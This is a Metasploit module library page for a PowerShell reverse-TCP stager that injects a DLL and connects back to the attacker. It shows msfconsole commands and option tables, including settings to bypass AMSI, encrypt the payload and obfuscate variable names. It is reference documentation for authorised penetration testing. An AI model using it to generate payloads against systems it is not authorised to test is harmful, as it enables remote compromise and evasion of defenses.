Powershell Exec, Reverse TCP Stager with UUID Support - Metasploit


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Module Overview


Name: Powershell Exec, Reverse TCP Stager with UUID Support
Module: payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid
Source code: modules/payloads/adapters/cmd/windows/powershell.rb
Disclosure date: -
Last modification time: 2022-05-27 16:41:25 +0000
Supported architecture(s): cmd
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Execute an x86 payload from a command via PowerShell. Connect back to the attacker with UUID Support

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid
msf payload(reverse_tcp_uuid) > show options
    ... show and set options ...
msf payload(reverse_tcp_uuid) > generate

To learn how to generate payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid with msfvenom, please read this.

Required Options


  • LHOST: The listen address (an interface may be specified)

  • DLL: The local path to the DLL to upload

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Msfconsole Usage


Here is how the cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid payload module looks in the msfconsole:

msf6 > use payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid

msf6 payload(cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid) > show info

       Name: Powershell Exec, Reverse TCP Stager with UUID Support
     Module: payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid
   Platform: Windows
       Arch: cmd
Needs Admin: No
 Total size: 4198
       Rank: Normal

Provided by:
  Spencer McIntyre
  jt <[email protected]>
  skape <[email protected]>
  hdm <[email protected]>
  OJ Reeves

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
DLL                        yes       The local path to the DLL to upload
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Description:
  Execute an x86 payload from a command via PowerShell. Connect back 
  to the attacker with UUID Support

Module Options


This is a complete list of options available in the cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid payload:

msf6 payload(cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid) > show options

Module options (payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DLL                        yes       The local path to the DLL to upload
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Advanced Options


Here is a complete list of advanced options supported by the cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid payload:

msf6 payload(cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid) > show advanced

Module advanced options (payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid):

   Name                                 Current Setting  Required  Description
   ----                                 ---------------  --------  -----------
   EnableStageEncoding                  false            no        Encode the second stage payload
   LibraryName                          msf.dll          no        The symbolic name of the library to upload
   PayloadBindPort                                       no        Port to bind reverse tcp socket to on target system.
   PayloadUUIDName                                       no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                        no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                                       no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking                  false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries                      0                yes       How many additional successful pingbacks
   PingbackSleep                        30               yes       Time (in seconds) to sleep between pingbacks
   Powershell::encode_final_payload     false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload     false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place            false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                 false            yes       Encrypt PSH with RC4
   Powershell::method                   reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive           true             yes       Execute powershell without interaction
   Powershell::persist                  false            yes       Run the payload in a loop
   Powershell::prepend_protections_byp  auto             yes       Prepend AMSI/SBL bypass (Accepted: auto, true, false)
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   Powershell::prepend_sleep                             no        Prepend seconds of sleep
   Powershell::remove_comspec           false            yes       Produce script calling powershell directly
   Powershell::strip_comments           true             yes       Strip comments
   Powershell::strip_whitespace         false            yes       Strip whitespace
   Powershell::sub_funcs                false            yes       Substitute function names
   Powershell::sub_vars                 true             yes       Substitute variable names
   Powershell::wrap_double_quotes       true             yes       Wraps the -Command argument in single quotes
   PrependMigrate                       false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                                    no        Process to spawn and run shellcode in
   ReverseAllowProxy                    false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through prox
                                                                   y but directly to LHOST
   ReverseListenerBindAddress                            no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                               no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                                   no        The specific communication channel to use for this listener
   ReverseListenerThreaded              false            yes       Handle every connection in a new thread (experimental)
   StageEncoder                                          no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                             no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback                true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount                     10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait                      5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                              false            no        Enable detailed status messages
   WORKSPACE                                             no        Specify the workspace for this module

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Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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